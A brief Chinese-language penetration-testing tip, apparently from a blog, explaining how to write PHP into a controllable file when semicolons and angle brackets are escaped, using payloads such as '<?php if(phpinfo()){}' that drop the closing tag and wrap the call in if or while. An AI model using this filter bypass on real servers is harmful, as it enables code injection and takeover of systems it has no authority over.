php绕过分号(;)和尖括号(<>)转义
实战中发现可写文件且内容可控,尝试写入phpinfo,发现分号(;)和尖括号(<>)被转义,如:尝试写入
<?php phpinfo();?>
实际得到:
\<?php phpinfo()\;?\>
分析分号(;)和尖括号(<>)两处转义,其中第一个尖括号转义不属于php内部,不起到转义作用,只是一个普通文本,不需要处理,第二个尖括号可以不使用
此时变成:
\<?php phpinfo()\;
关于分号(;)被转义,可以使用如下手法:
\<?php if(phpinfo()){}
或
\<?php while(phpinfo()){}